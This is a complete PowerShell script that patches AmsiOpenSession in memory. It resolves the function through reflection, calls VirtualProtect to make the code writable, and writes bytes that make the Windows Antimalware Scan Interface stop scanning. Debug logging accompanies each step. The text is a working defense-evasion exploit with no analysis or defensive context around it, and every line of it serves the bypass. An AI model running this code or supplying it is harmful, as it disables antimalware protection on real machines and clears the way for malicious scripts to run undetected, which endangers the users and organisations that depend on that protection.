test/UTF

function l {
    Param($m,$f)
    Write-Host "[l] Function execution started" -ForegroundColor Green
    Write-Host "[l] Parameters: ModuleName=$m, FunctionName=$f" -ForegroundColor Cyan
    $a=([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1] -eq 'System.dll'}).GetType('Microsoft.Win32.UnsafeNativeMethods')
    Write-Host "[l] Assembly obtained: $($a.Assembly.FullName)" -ForegroundColor Green
    $t=@()
    $a.GetMethods() | % { if($_.Name -eq 'GetProcAddress') { $t+=$_; Write-Host "[l] GetProcAddress method found" -ForegroundColor Green } }
    Write-Host "[l] Returning result" -ForegroundColor Green
    $t[0].Invoke($null,@(($a.GetMethod('GetModuleHandle')).Invoke($null,@($m)),$f))
}

function g {
    Param([Type[]]$f,[Type]$d=[Void])
    Write-Host "[g] Function execution started" -ForegroundColor Green
    Write-Host "[g] Parameters: Func=$f, DelType=$d" -ForegroundColor Cyan
    $t=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('RD')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('IM',$false).DefineType('MDT','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    Write-Host "[g] Delegate type created: $t" -ForegroundColor Green
    $t.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard,$f).SetImplementationFlags('Runtime, Managed')
    $t.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$d,$f).SetImplementationFlags('Runtime, Managed')
    Write-Host "[g] Returning created type" -ForegroundColor Green
    $t.CreateType()
}

Write-Host "[Main] Main code execution started" -ForegroundColor Yellow
$a=l amsi.dll AmsiOpenSession
Write-Host "[Main] AmsiOpenSession address obtained: $a" -ForegroundColor Green
$o=0
$v=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((l kernel32.dll VirtualProtect),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType()) ([Bool])))
Write-Host "[Main] Delegate for VirtualProtect created" -ForegroundColor Green
$v.Invoke($a,3,0x40,[ref]$o)
Write-Host "[Main] Memory access rights changed" -ForegroundColor Green
[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0),0,$a,3)
Write-Host "[Main] Bytes written to memory" -ForegroundColor Green
$v.Invoke($a,3,0x20,[ref]$o)
Write-Host "[Main] Original memory access rights restored" -ForegroundColor Green
Write-Host "[Main] Execution completed" -ForegroundColor Yellow